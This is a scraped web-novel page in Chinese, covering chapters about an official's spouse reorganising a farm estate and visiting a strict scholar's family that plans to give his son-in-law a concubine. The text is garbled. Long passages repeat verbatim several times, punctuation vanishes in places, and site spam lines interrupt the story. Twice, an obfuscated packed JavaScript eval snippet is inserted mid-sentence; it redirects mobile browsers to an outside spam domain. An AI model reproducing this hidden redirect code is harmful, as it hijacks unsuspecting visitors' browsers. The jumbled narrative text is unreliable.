孟晚听完眼底深处有细微变化,两人偎在一处,喁喁私语,睡了个回笼觉,直到清早阳光透过窗纸,斜斜地打进屋子,才又缓缓睁开眼睛。 他有点睡懵了,看见躺在他身侧的男人一时半会没缓过神来。 宋亭舟高挺的鼻梁在晨光中极其有存在感,眼皮阖着,睫毛不长但是很浓,嘴唇不薄**,亲自己的时候又软又热。 他五官其实很锐利,平时在衙门办公的时候又冷又凶,这会儿睡着了其实也没有多温柔,但孟晚怎么看怎么喜欢。 动作轻缓的撑起身子,孟晚对准他的嘴唇亲了一下,全程都很小心,没有将人弄醒。 孟晚难得比宋亭舟先起床,董大哪儿不用多说,一家子都被送去了衙门,庄子里所有人都瞧见了。 佃户们昨日莫名其妙的领了牛回家,今天董大就被抓起来了,一个个都怕自己惹祸上身,心里怕的不行,家家 户户都在关注着东家院里的情况。 都在外面正好省了孟晚派人挨个去叫,他把榆哥儿叫到晒粮场中央,顶着上百个男女老少的目光,漫不经心地宣布,“往后榆哥儿就是新的庄头,你们各家各户播种收租的事都问他,由他进城去向我禀告。” 一个小小的庄子,也就是耕种这点事而已,不值当孟晚费太多心思。 庄头的权利说大不大,说小不小,有人不服一个小哥儿是一定的。 但榆哥儿好歹还有和庄里人同宗的丈夫帮衬他,收拾了几个刺头之后,其他人就是心里有异议也不敢明面上反驳。 再说了,反驳也没用。 隐在人群里的朱娘神情落寞,羡慕榆哥儿的好命。 当时他俩被迫挑选人家,朱娘心里是带着心气儿的,她挑了董大的一个侄儿,实际跟人回去后并没有成亲,而是拿钱财暂时笼络住了那一家人,诓骗他们说自己是东家家里最得宠的姨娘,因为得罪了夫郎才被发卖来的。若是他们敢强迫自己,等老爷把她找回去,定有他们好果子吃。 没成想,今日一早人就被抓了。朱娘这才知道这家子半夜准备跑路,忌惮朱娘老爷姨娘的身份没敢带她一起走。 朱娘内心庆幸,这会儿见到榆哥儿竟然受孟晚看重,一跃变成庄头,对比起自己来,心中自是百感交集。 衙门有人好办事,陶十一带了顺天府的小吏来,现场为众人重新查验户籍和黄册,顺手将董大出资买的耕牛给大家都记录在上面。 黄册登录在册,如此,这些牛可就真是他们的了。 一群连饭都吃不饱的佃户,突然一户分了一头! 整晚的提心吊胆,如坠云雾的心情,突然变得踏实下来。 什么董大、榆哥儿,也不如一头牛来的实在,更别提东家还赏了银钱。 “东家跟我说了,不管之前大家税收如何,从今年开始,秋收粮食下来了,先把来年的粮种去了,剩下的再和东家**分。”榆哥儿壮着胆子出来说话。 这已经是附近所有农庄里顶好的待遇了,大家还没从牛上了黄册的事情中缓过神来,又听到了这么一个好消息。 这会儿孟晚已经离开,佃户们便都围在榆哥儿身边问东问西。 朱娘看着被人群围住的榆哥儿,悄悄退去,看方向正是庄子外头。 孟晚起床没多久宋亭舟便起来了,孟晚没叫黄叶准备早饭,准备进城后寻个早食铺子随便吃点。 行李昨天晚上就收拾的差不多了,有黄叶和枝繁在,孟晚当个甩手掌柜就行。 马车在沐泉庄门口被人拦下,蚩羽看向面前的女娘,觉得有两分熟悉,“大人、夫郎,有人拦了我们的车。” 孟晚懒洋洋的靠在宋亭舟身上不愿意动弹,已然猜到来者身份,“她要是个聪明人,今早听说了我让榆哥儿做庄头的时候,就会主动去找我,而不是现在过来拦车,怕是心中还有几分痴念。” 宋亭舟平淡的脸上少见的挂上了一丝厌恶,他初入官场,见识最多的不是为官者的贪婪和愚蠢,而是官场上默认的那些不成文规矩。 童家那样的乡绅要往他身边塞人,比他官职低的下官在宴席上拿美人试探他,上官以表看重高高在上的表示要赏赐他两个侍妾,如此种种数不胜数,令人厌烦。 入京后倒是消停了一些,没想到才半年,就又有这样的事。 那些被迎来送往的人可怜无辜,难不成宋亭舟非收了他们才算是一心为民的青天大老爷吗? 天下没有这样的道理。 而且宋亭舟也不会让任何人开这个头。 他解决事情远没有孟晚委婉,坐在车内巍然不动,宋亭舟冷冷地交代蚩羽,“跟她说,要么在庄子上终老,要么跑出去做流民。她若再敢纠缠,就直接将人卖去其余村庄,省得碍了夫郎的眼。” 蚩羽将话重复了一遍,按照宋亭舟的吩咐,也不管朱娘拦在马车前,扬鞭直接挥动马匹。 朱娘也是胆大,眼见着马蹄就要踏在她身上了,才狼狈的滚开。 她难以置信的对着马车喊叫,“宋大人!你如此行事,就不怕贵妃娘娘怪罪,国公爷不满吗?” 马车加快的速度代表了主人家的态度。 朱娘不甘心的追着跑了出去,“奴可以在宋家做个小小的侍女,哪怕是劈柴洗衣的下等侍女也可以!!!” 人是跑不过马的,马车很快消失在了朱娘的视线里。 她思想很乱,凭她的容貌才情留在庄子嫁人绝不甘心,但想回聂家又进不了城,叫天天不应,叫地地不灵。 然而不等她想好今后究竟要怎么办,耐心告罄的宋亭舟又将蒙面大侠蚩羽派了过来,提起朱娘就给塞 到了不远处的一个村落。 这回没有上次的好待遇,蚩羽直接让本村的村长给找了户厉害人家,好能震得住心气儿高的朱娘。 做完这些进城后,蚩羽老远就看见宋家的马车停在街边上,桂谦在车上守着,其余人都在吃早餐。 “大人夫郎,我回来啦!”蚩羽也没个规矩,一屁股坐在孟晚旁边,被宋亭舟瞪了一眼后才挪到了对面。 “我把人送嫁了。”蚩羽古古怪怪的说道,不知为何,他觉得这样的事,他以后还要干。 宋亭舟很是不满,“这样的事不必当着夫郎的面提。” 孟晚信任宋亭舟是一回事,宋亭舟不想让这样的事污了他的耳朵又是一回事。 孟晚安静的在一旁听着,他吃饭没有宋亭舟快,但架不住对方量大,所以时不时给宋亭舟剥个鸡蛋,舀两个自己吃不下的馄饨。 回家的时候天色就已经不早了,日头高升,晒在人身上暖洋洋的。 宋亭舟把孟晚送到家门口,自己连门都没进,扭头又去顺天府处理政务。 黄叶收拾行李,孟晚照例先去常金花院里转了一圈。 “娘,阿砚呢?” 常金花在炕上缝什么东西,见孟晚回来忙让云雀把她屋里的果子果干都摆到炕桌上来,“昨日大郎带他去吴家见了昭远岳父,回来就蔫头耷脑的在他院里,一天都没出来了,今早的早饭也是在他小院里吃的,通儿陪着他。刚才我去看了,这俩孩子也不知道咋了,谁脸上也没个笑模样,苦大仇深的。” 孟晚坐到常金花旁边,没忍住勾唇一笑,他知道阿砚和通儿为何如此。 江南一带本就文风盛行,苏州府郑家家教森严,从祖上开始就文人辈出,举人、秀才数不胜数,连进士都出过十几位。 便是苏州府大小学院林立,郑家传承百年的“肃正书院”也是其中翘楚。 郑淑慎的父亲郑肃身为院长,虽然两个儿子止步于秀才,但旗下门人无数,京中高官中甚至都有他的门徒。 郑家的女娘小哥儿也多是嫁给这些读书人,吴昭远做为他最看重的徒弟,理所当然地娶了他的小儿子郑淑慎。 如此门第,这般家风,阿砚若是在人家面前老老实实的拜见长辈也就算了,若是仗着自己的小聪明,在郑肃面前抖机灵,恐怕会被毫不留情的训斥一顿。 人家可不会管他有个顺天府尹的父亲。 孟晚想到这儿心中满意极了,他也不去管阿砚,反而琢磨吴家太小,是将郑老先生请来他们家还是给人家再买一套宅子。 边家那套五进大宅是正正经经的凶宅,他是不信那些,总不好请人家先生在里头教书吧? 今天已经晚了,明早该带着阿砚再去拜访一番,试探试探郑老先生的口风。 虽说不算是正经拜师,但束脩敬茶也不能少。 孟晚把此事当作要紧事来操办,午后在库房里忙活半天,收拾了一车东西后又觉得心意不够,郑家文人雅士,未必看得上一些俗物,思前想后自己亲手画了一幅阿砚和通儿在吴家玩雪的稚子图。 看!我儿子多可爱,先生不考虑收下他吗? 宋亭舟回来脱下触手冰凉的大氅,顺手挂在了屏风上。 屋子里点了好几盏油灯,孟晚身边还燃着两根蜡烛。他娴静的靠着一把特殊改良的椅子,椅背里包着松软的棉花,外罩的是价值不菲的织锦布料,光看他靠在上面的样子就觉得舒适。 宋亭舟无声的站在他身后,看他一笔一画细细雕琢,并没有出声打扰。但他存在感还是很强的,孟晚瞬间发现了他。 “你下衙了?都这么晚了啊?” 孟晚用旁边的笔洗涮了涮笔,随手挂了起来,每天早上枝茂会将他和宋亭舟用过的笔好好洗涮保养起来,不必用他操心。 “不画了?”宋亭舟拉过他的右手放在自己手中轻轻按捏。 孟晚从椅子上起身,“不画了,本来是想明日带给郑老先生的,但今天画不完了,明日有空再说吧。” “明早你要去昭远家里?”宋亭舟按完手帮他按肩,一套动作顺畅无比。 孟晚扭了扭酸痛的脖子,“当日我就该随大嫂过去拜访的,庄头搜刮油水太过,庄户各个面黄肌瘦,都有孩子跑出去讨饭了。我若是不趁机管管,只怕庄头一家回过神来将证据抹平,所以才没过去。” 宋亭舟手上又加重了力道,“人都已经收押起来,马通判给判了流放三年。” 这是听说了人是府尹夫郎送过来的,在董大一家所犯罪责该受到的刑罚中,马通判给判了个最重的。 不愧是在顺天府混了几十年的老油条,就是会看上司脸色。 佃户被判了流放,此生多半是回不来了,孟晚对这个结果很满意。 敢贪到他头上,他贪了多少,就要双倍吐出来多少。 第二天一早孟晚本想独自领着阿砚和通儿去吴昭远家里,没想到往日散了早朝直接去衙门的宋亭舟赶了回来。 他把手中的马匹交给雪生,对孟晚说道:“今日早朝并不冗长,陛下挑了几个文官武将过问了几句便散朝了,我陪你一同去昭远家里走一趟。” 人家可不会管他有个顺天府尹的父亲。 孟晚想到这儿心中满意极了,他也不去管阿砚,反而琢磨吴家太小,是将郑老先生请来他们家还是给人家再买一套宅子。 边家那套五进大宅是正正经经的凶宅,他是不信那些,总不好请人家先生在里头教书吧? 今天已经晚了,明早该带着阿砚再去拜访一番,试探试探郑老先生的口风。 虽说不算是正经拜师,但束脩敬茶也不能少。 孟晚把此事当作要紧事来操办,午后在库房里忙活半天,收拾了一车东西后又觉得心意不够,郑家文人雅士,未必看得上一些俗物,思前想后自己亲手画了一幅阿砚和通儿在吴家玩雪的稚子图。 看!我儿子多可爱,先生不考虑收下他吗? 宋亭舟回来脱下触手冰凉的大氅,顺手挂在了屏风上。 屋子里点了好几盏油灯,孟晚身边还燃着两根蜡烛。他娴静的靠着一把特殊改良的椅子,椅背里包着松软的棉花,外罩的是价值不菲的织锦布料,光看他靠在上面的样子就觉得舒适。 宋亭舟无声的站在他身后,看他一笔一画细细雕琢,并没有出声打扰。但他存在感还是很强的,孟晚瞬间发现了他。 “你下衙了?都这么晚了啊?” 孟晚用旁边的笔洗涮了涮笔,随手挂了起来,每天早上枝茂会将他和宋亭舟用过的笔好好洗涮保养起来,不必用他操心。 “不画了?”宋亭舟拉过他的右手放在自己手中轻轻按捏。 孟晚从椅子上起身,“不画了,本来是想明日带给郑老先生的,但今天画不完了,明日有空再说吧。” “明早你要去昭远家里?”宋亭舟按完手帮他按肩,一套动作顺畅无比。 孟晚扭了扭酸痛的脖子,“当日我就该随大嫂过去拜访的,庄头搜刮油水太过,庄户各个面黄肌瘦,都有孩子跑出去讨饭了。我若是不趁机管管,只怕庄头一家回过神来将证据抹平,所以才没过去。” 宋亭舟手上又加重了力道,“人都已经收押起来,马通判给判了流放三年。” 这是听说了人是府尹夫郎送过来的,在董大一家所犯罪责该受到的刑罚中,马通判给判了个最重的。 不愧是在顺天府混了几十年的老油条,就是会看上司脸色。 佃户被判了流放,此生多半是回不来了,孟晚对这个结果很满意。 敢贪到他头上,他贪了多少,就要双倍吐出来多少。 第二天一早孟晚本想独自领着阿砚和通儿去吴昭远家里,没想到往日散了早朝直接去衙门的宋亭舟赶了回来。 他把手中的马匹交给雪生,对孟晚说道:“今日早朝并不冗长,陛下挑了几个文官武将过问了几句便散朝了,我陪你一同去昭远家里走一趟。” 人家可不会管他有个顺天府尹的父亲。 孟晚想到这儿心中满意极了,他也不去管阿砚,反而琢磨吴家太小,是将郑老先生请来他们家还是给人家再买一套宅子。 边家那套五进大宅是正正经经的凶宅,他是不信那些,总不好请人家先生在里头教书吧? 今天已经晚了,明早该带着阿砚再去拜访一番,试探试探郑老先生的口风。 虽说不算是正经拜师,但束脩敬茶也不能少。 孟晚把此事当作要紧事来操办,午后在库房里忙活半天,收拾了一车东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482027|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西后又觉得心意不够,郑家文人雅士,未必看得上一些俗物,思前想后自己亲手画了一幅阿砚和通儿在吴家玩雪的稚子图。 看!我儿子多可爱,先生不考虑收下他吗? 宋亭舟回来脱下触手冰凉的大氅,顺手挂在了屏风上。 屋子里点了好几盏油灯,孟晚身边还燃着两根蜡烛。他娴静的靠着一把特殊改良的椅子,椅背里包着松软的棉花,外罩的是价值不菲的织锦布料,光看他靠在上面的样子就觉得舒适。 宋亭舟无声的站在他身后,看他一笔一画细细雕琢,并没有出声打扰。但他存在感还是很强的,孟晚瞬间发现了他。 “你下衙了?都这么晚了啊?” 孟晚用旁边的笔洗涮了涮笔,随手挂了起来,每天早上枝茂会将他和宋亭舟用过的笔好好洗涮保养起来,不必用他操心。 “不画了?”宋亭舟拉过他的右手放在自己手中轻轻按捏。 孟晚从椅子上起身,“不画了,本来是想明日带给郑老先生的,但今天画不完了,明日有空再说吧。” “明早你要去昭远家里?”宋亭舟按完手帮他按肩,一套动作顺畅无比。 孟晚扭了扭酸痛的脖子,“当日我就该随大嫂过去拜访的,庄头搜刮油水太过,庄户各个面黄肌瘦,都有孩子跑出去讨饭了。我若是不趁机管管,只怕庄头一家回过神来将证据抹平,所以才没过去。” 宋亭舟手上又加重了力道,“人都已经收押起来,马通判给判了流放三年。” 这是听说了人是府尹夫郎送过来的,在董大一家所犯罪责该受到的刑罚中,马通判给判了个最重的。 不愧是在顺天府混了几十年的老油条,就是会看上司脸色。 佃户被判了流放,此生多半是回不来了,孟晚对这个结果很满意。 敢贪到他头上,他贪了多少,就要双倍吐出来多少。 第二天一早孟晚本想独自领着阿砚和通儿去吴昭远家里,没想到往日散了早朝直接去衙门的宋亭舟赶了回来。 他把手中的马匹交给雪生,对孟晚说道:“今日早朝并不冗长,陛下挑了几个文官武将过问了几句便散朝了,我陪你一同去昭远家里走一趟。” 人家可不会管他有个顺天府尹的父亲。 孟晚想到这儿心中满意极了,他也不去管阿砚,反而琢磨吴家太小,是将郑老先生请来他们家还是给人家再买一套宅子。 边家那套五进大宅是正正经经的凶宅,他是不信那些,总不好请人家先生在里头教书吧? 今天已经晚了,明早该带着阿砚再去拜访一番,试探试探郑老先生的口风。 虽说不算是正经拜师,但束脩敬茶也不能少。 孟晚把此事当作要紧事来操办,午后在库房里忙活半天,收拾了一车东西后又觉得心意不够,郑家文人雅士,未必看得上一些俗物,思前想后自己亲手画了一幅阿砚和通儿在吴家玩雪的稚子图。 看!我儿子多可爱,先生不考虑收下他吗? 宋亭舟回来脱下触手冰凉的大氅,顺手挂在了屏风上。 屋子里点了好几盏油灯,孟晚身边还燃着两根蜡烛。他娴静的靠着一把特殊改良的椅子,椅背里包着松软的棉花,外罩的是价值不菲的织锦布料,光看他靠在上面的样子就觉得舒适。 宋亭舟无声的站在他身后,看他一笔一画细细雕琢,并没有出声打扰。但他存在感还是很强的,孟晚瞬间发现了他。 “你下衙了?都这么晚了啊?” 孟晚用旁边的笔洗涮了涮笔,随手挂了起来,每天早上枝茂会将他和宋亭舟用过的笔好好洗涮保养起来,不必用他操心。 “不画了?”宋亭舟拉过他的右手放在自己手中轻轻按捏。 孟晚从椅子上起身,“不画了,本来是想明日带给郑老先生的,但今天画不完了,明日有空再说吧。” “明早你要去昭远家里?”宋亭舟按完手帮他按肩,一套动作顺畅无比。 孟晚扭了扭酸痛的脖子,“当日我就该随大嫂过去拜访的,庄头搜刮油水太过,庄户各个面黄肌瘦,都有孩子跑出去讨饭了。我若是不趁机管管,只怕庄头一家回过神来将证据抹平,所以才没过去。” 宋亭舟手上又加重了力道,“人都已经收押起来,马通判给判了流放三年。” 这是听说了人是府尹夫郎送过来的,在董大一家所犯罪责该受到的刑罚中,马通判给判了个最重的。 不愧是在顺天府混了几十年的老油条,就是会看上司脸色。 佃户被判了流放,此生多半是回不来了,孟晚对这个结果很满意。 敢贪到他头上,他贪了多少,就要双倍吐出来多少。 第二天一早孟晚本想独自领着阿砚和通儿去吴昭远家里,没想到往日散了早朝直接去衙门的宋亭舟赶了回来。 他把手中的马匹交给雪生,对孟晚说道:“今日早朝并不冗长,陛下挑了几个文官武将过问了几句便散朝了,我陪你一同去昭远家里走一趟。” 人家可不会管他有个顺天府尹的父亲。 孟晚想到这儿心中满意极了,他也不去管阿砚,反而琢磨吴家太小,是将郑老先生请来他们家还是给人家再买一套宅子。 边家那套五进大宅是正正经经的凶宅,他是不信那些,总不好请人家先生在里头教书吧? 今天已经晚了,明早该带着阿砚再去拜访一番,试探试探郑老先生的口风。 虽说不算是正经拜师,但束脩敬茶也不能少。 孟晚把此事当作要紧事来操办,午后在库房里忙活半天,收拾了一车东西后又觉得心意不够,郑家文人雅士,未必看得上一些俗物,思前想后自己亲手画了一幅阿砚和通儿在吴家玩雪的稚子图。 看!我儿子多可爱,先生不考虑收下他吗? 宋亭舟回来脱下触手冰凉的大氅,顺手挂在了屏风上。 屋子里点了好几盏油灯,孟晚身边还燃着两根蜡烛。他娴静的靠着一把特殊改良的椅子,椅背里包着松软的棉花,外罩的是价值不菲的织锦布料,光看他靠在上面的样子就觉得舒适。 宋亭舟无声的站在他身后,看他一笔一画细细雕琢,并没有出声打扰。但他存在感还是很强的,孟晚瞬间发现了他。 “你下衙了?都这么晚了啊?” 孟晚用旁边的笔洗涮了涮笔,随手挂了起来,每天早上枝茂会将他和宋亭舟用过的笔好好洗涮保养起来,不必用他操心。 “不画了?”宋亭舟拉过他的右手放在自己手中轻轻按捏。 孟晚从椅子上起身,“不画了,本来是想明日带给郑老先生的,但今天画不完了,明日有空再说吧。” “明早你要去昭远家里?”宋亭舟按完手帮他按肩,一套动作顺畅无比。 孟晚扭了扭酸痛的脖子,“当日我就该随大嫂过去拜访的,庄头搜刮油水太过,庄户各个面黄肌瘦,都有孩子跑出去讨饭了。我若是不趁机管管,只怕庄头一家回过神来将证据抹平,所以才没过去。” 宋亭舟手上又加重了力道,“人都已经收押起来,马通判给判了流放三年。” 这是听说了人是府尹夫郎送过来的,在董大一家所犯罪责该受到的刑罚中,马通判给判了个最重的。 不愧是在顺天府混了几十年的老油条,就是会看上司脸色。 佃户被判了流放,此生多半是回不来了,孟晚对这个结果很满意。 敢贪到他头上,他贪了多少,就要双倍吐出来多少。 第二天一早孟晚本想独自领着阿砚和通儿去吴昭远家里,没想到往日散了早朝直接去衙门的宋亭舟赶了回来。 他把手中的马匹交给雪生,对孟晚说道:“今日早朝并不冗长,陛下挑了几个文官武将过问了几句便散朝了,我陪你一同去昭远家里走一趟。” 第31章 拜访 孟晚很是惊讶不知道宋亭舟为啥这么不放心他带着一头雾水被他牵上了马车。 到了吴昭远家他正准备出门上衙。岳父兼恩师好不容易来一趟他本来已经同上级告了假结果反被岳父训诫一番如今依旧准时上衙。 “你们来的正好!” 吴昭远看见他们两口子带孩子过来紧绷的姿态眼见着松懈不少像是看见了救星一样叮嘱孟晚“弟夫这两日你多来我家看望看望你大嫂他本来从庄子上回来心绪畅快不少这两日又……” 孟晚看出他行色匆匆猜到他衙门可能有重要事务需要处理“大哥尽管放心你有事要忙就快走大嫂这边有我在。” “去吧路上当心。”宋亭舟也站在孟晚身侧对吴昭远说了一句。 他们两人站在一起看着便令人安心 孟晚和宋亭舟目送吴昭远离去的背影也没拖拉相偕进了吴家大门。阿砚拖着比他矮一些的通儿胳膊满脸痛苦两进的宅子硬生生被他走出了相逢千里的感觉。 通儿也不想找夫子、上私塾但表现的好歹比阿砚坚强些。 “阿砚哥哥我们还是走快些吧你一会别忘了姿态端正些别在被郑老先生教训了。” 阿砚艰难的点点头“我记着了。” 昨天收拾了一车的东西没用上孟晚经宋亭舟的提醒下改换了礼物简简单单地提着两包八宝茶上了门。 秋影先行一步进去禀告愁眉苦脸的迈着沉重的步伐出来。 孟晚见他弯腰躬身小碎步差点没笑出声来忍着笑意问秋影“你这是怎么了?肚子疼?” 秋影先是恭恭敬敬的拱手揖礼然后用比蚊子大不了多少的音量苦笑“夫郎您就别嘲笑我了小的先出去备茶您和宋大人快进去吧。” 宋亭舟打过招呼之后还要去顺天府孟晚没再耽搁忙走入吴家厅堂中。 他已经率先知道了吴昭远的岳丈看重礼数因此迈的步子走路的姿态都是按照金嬷嬷教的宫廷礼仪来的岂料刚进了门就被刺了一句“内宅小哥儿怎可轻易见外男?侍书你带孟夫郎去后院。” 厅堂里的老者穿了一身藏蓝色斜襟棉布长袍衣摆垂得笔直恨不得连上头的褶皱都按古籍纹样折出来似的。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他两手背在身后,眉间轻轻隆起一个凸起的弧度,苍老的面容严肃中透着孤高,看也没往孟晚这边看上一眼,只不太热情地招呼宋亭舟,“景行,你带着两个孩子过来吧。” 宋亭舟先看自家夫郎,孟晚在来得时候心里就已经有数了,这会儿也不太意外,手指指向身前带路的侍书,示意自己先去后院看郑淑慎。 为官者坐到宋亭舟这个份上,是真真正正有实绩造福百姓的,天下有抱负的读书人没有不被其所蛰伏的。 哪怕是郑肃,心里也极为欣赏宋亭舟,只不过性格使然,表现的不太明显。 宋亭舟是第二次见郑肃,这位老先生的学问自是不用质疑,虽然人古板了些,教阿砚确是正正好好。 他还要赶去衙门,无视儿子求助的眼神,狠下心,直接将他和通儿扔给郑肃,自己告辞离开。 阿砚:“……”我的好爹爹们!就真的不管我了啊? 孟晚和侍书走到后院,正屋里的氛围称不上好,按理说母子二人好不容易相见,该是亲亲热热的在内间坐着说些体己话。 孟晚到了常金花屋里第一步就是脱鞋上炕,大爷似的靠着常金花等着被投喂。 可眼下郑淑慎母子二人却客客气气的坐在中堂,八仙桌的椅子又硬又凉,他们也不嫌硌得慌。 “大嫂,这位就是郑伯母吧?”因不知道郑淑慎的母亲姓什么,孟晚便随着她的夫姓叫了人。 郑淑慎的母亲面相远不如他父亲郑肃那般严肃,个子矮小,带着江南婉约的女子姿态,神态慈祥柔和,一开口说话却是与郑肃一样生疏姿态,“见过孟夫郎。” 孟晚笑着说:“都是自家人,您太客气了。” 郑老夫人抿了抿鬓边花白的头发,声音轻柔,“您是官夫人,应该的。” 她吩咐身边的老妈妈,“去将姨小姐请过来,见见孟夫郎。” 孟晚坐到郑淑慎身边,拿眼神询问:怎么还有个姨小姐?没听说啊? 郑淑慎轻幅度地摇了摇头,眼眸深处涌上些愁苦之色。 吴家本来就不大,郑肃夫妻俩来了之后住在了后院东卧,旁边的厢房收拾出来给这位姨小姐住。 孟晚估计人肯定是早就准备好了,妈妈出去没多久,就带回来一位娉娉婷婷的女娘。 她约莫十七岁左右,穿着 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一身鹅黄色的细棉布裙上头绣着片片芙蓉花腰肢上用布绳系着盈盈一握的纤细柳腰袖口中宽 衣领是立对襟衬得她脸蛋很小显得杏眼更大了樱桃小嘴鼻子小巧挺拔一头乌黑油亮的头发挽起了一半用一支镂空宫灯银步摇簪着走动间摇而不乱似花枝拂耳畔摇曳姿态灵动婉约。 “见过姨母淑慎哥哥。” 说话也很软糯轻柔很典型的江南水乡小家碧玉。 郑老夫人眼神中染上一抹暖意“诗娘过来吧这位是顺天府尹的夫郎还不先向孟夫郎行礼?” 有长辈引荐诗娘这才转过身来打算快速的看孟晚一眼便收回目光而后猝不及防对上了一双笑眼。 顺天府尹的夫郎?竟是这么年轻……漂亮吗? 诗娘着实没预料到她还以为会见到一位端起高高姿态的中年夫郎。 欠了欠身子诗娘很快反应过来“孟夫郎金安。” 孟晚和气地请她坐下“姨小姐客气了快坐下吧。” “欸。”诗娘提起裙摆坐在郑老夫人身边。 这个位置正好对着孟晚她没忍住又看了孟晚两眼然后扭头捋了捋垂到身前的长发避开孟晚回视的目光。 孟晚瞥见郑淑慎愁苦的模样琢磨出来一点东西但郑老夫人明显不太喜欢他他也不好从中说些什么。 一群人干坐着其实很尴尬但孟晚无知无觉神态自若。 “听闻孟夫郎之前在岭南是做生意的?”郑老夫人突然问了一句。 “不错其实没去岭南之前我就已经开始做生意买卖了。”孟晚知道她和郑肃为什么对自己感观平平无非是觉得他一个哥儿整日抛头露面失了矜持。不过质疑孟晚的人可太多了他根本不觉得怎么样坦坦荡荡的说了出来。 诗娘表情惊讶“哥儿怎么能弃内事而不顾与那些重利轻义的贾商周旋呢?岂不污了自身的清白名声?” 郑淑慎轻斥了一句“诗娘怎可如此轻易评判他人立身之道?” 郑老夫人瞥了眼自己小儿布着褶皱的嘴角下沉“孟夫郎我听昭远说过你与婆母以卖豆腐为生供宋大人成才是个极了不起的人物。然而宋大人已官至三品朝官若是你再以哥儿之身行商坐贾只怕会遭人非议。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ” 她倒不是在嘲讽孟晚,而是拿着长辈的姿态,觉着自家女婿与宋亭舟交好,而好意提醒一句。 孟晚还是笑着的模样,“回京后确实不如在岭南方便,我也有些困扰,幸好有婆母和夫君宽慰。” 诗娘没忍住问了一句,“您的婆母难道不准许你和外男接触?”这可真是算惊世骇俗了,别说婆母,就是亲娘也会揪起来骂上一顿吧?她目光溜向郑老夫人,对方眼神中果然也带着不解。 “为何不准?” 孟晚姿态端的很稳,面对这样带着轻慢的询问,始终心平气和,面色平静,“我婆母擅长庖厨之技,她又不像寻常内宅妇人一样闲得住,也曾自己张罗着开了几家食肆,若有机会她在京中再开食肆,郑老夫人可带着姨小姐过去捧个场。” 郑老夫人的脸色微僵,孟晚一进门喊得是伯母,她自己叫人家孟夫郎。 这会儿孟晚喊她郑老夫人,她又觉得有些被挂了脸色。 郑淑慎在一旁打圆场,“我知道,景行给我们寄过来的信上写了,还有米粉是吗?我们早就想尝尝岭南的风味了。” 孟晚端起茶盏悠闲地抿了一口,“大嫂,你这次回来的太快了,下次再约你去庄子上小住几天。” “慎哥儿不会去的,如此丢下夫婿,不管内务去住庄子,像什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是就算没有正式拜师,阿砚也受到了比通儿严重两倍的管束。 回去的路上他一直忍不住唉声叹气,小小年纪,突然觉得这辈子好像到头了。 听说国子监有个班专收纨绔子弟,他什么年纪才能去啊? 这是阿砚目前对长大最强烈的欲望。 孟晚走后,郑老夫人终于忍不住拉郑淑慎到内室详谈。 “你是怎么想的。” 郑淑慎话语中是有怨气的,“娘既然将诗娘都带来了,问我怎么想的还有什么异议吗?我怎么想的还重要吗?” 郑老夫人脸色难看,“你才和那个姓孟的商户相处几回,就开始顶撞尊长了,娘做这些还不是为了你?” 郑淑慎眼眶红了,“我不过是说了句实话,和人家晚哥儿又有什么干系?历来都是婆家人给儿子身边塞人。娘既然不顾我的脸面将姨妹带来给夫君做妾,难道还不许我过问两句吗?” 郑老夫人猛地一拍桌子,被儿子埋怨,心中酸涩难受,“你以为我想吗?昭远是你爹最看重的徒弟,但日又考取了榜眼,他几年待你如一日,你爹和我如何不欣慰他知恩图报?可你们成婚不是一年半载,整整六年了,你都无一说出,旁人会怎么说你爹?” 她说着说着也要泣泪,“你爹这辈子最看重的就是名声,这也是我郑家的立身之本。我们郑家不可欺负昭远无父无母,便眼睁睁的看着他绝了后啊!” 这话说的就太严重了,郑淑慎心里咯噔一下,脸色瞬间苍白无比。 郑老夫人见他这样如何不心疼,她扶着儿子的肩膀,颤声劝慰,“慎哥儿,诗娘好歹是你姨妹,她母亲早早没了,这几年被我接到郑家养活,是个知道感恩的好孩子。她也答应我了,生下来的孩子,头胎不论生了什么都送到正房,往后女娘小哥儿她自己养活着,若是儿子绝对会抱给你养着。” 郑淑慎闭上眼睛,一连串的眼泪从眼角滴落,他声音中透着几分任命,“我……我……” 同意这两个字重如泰山,沉甸甸地压在他心头,砸的他眼晕目眩,叫他无论如何也说不出口来。 第32章 循序渐进 黄昏落日,宋亭舟下衙回来还带上了吴昭远。谁都能看出郑老夫人带个外甥女赴京是什么意思,偏偏两个当事人没法违抗长辈的命令。 “恩师在我最落魄的时候收我为徒,师母又把慎哥儿嫁给我,对我恩重如山,我实在不能开口。” 对一般男子来说,这事也就半推半就了,毕竟老两口确实是一心为吴昭远着想,甚至愿意为了他委屈亲生儿子,吴昭远若是说出什么重话来岂不是寒了老两口的心? 但若是收了诗娘,吴昭远又觉得不好,他也说不上来,但这些年是羡慕宋亭舟和孟晚夫夫二人琴瑟和鸣的。 后宅人多麻烦,他最是深有体会,慎哥儿本来就是心思细腻的人,多思多想下再熬坏了身子,岂不是因小失大? “我思来想去也想不到好法子,只能过来求助弟夫。”吴昭远也是真的愁坏了,但凡换个人听了他一番恳求都会说他得了便宜还卖乖。 这事确实愁人,现代还有丁克这么一说,这会儿你敢说你要丁克,父母先把你腿打断再说。 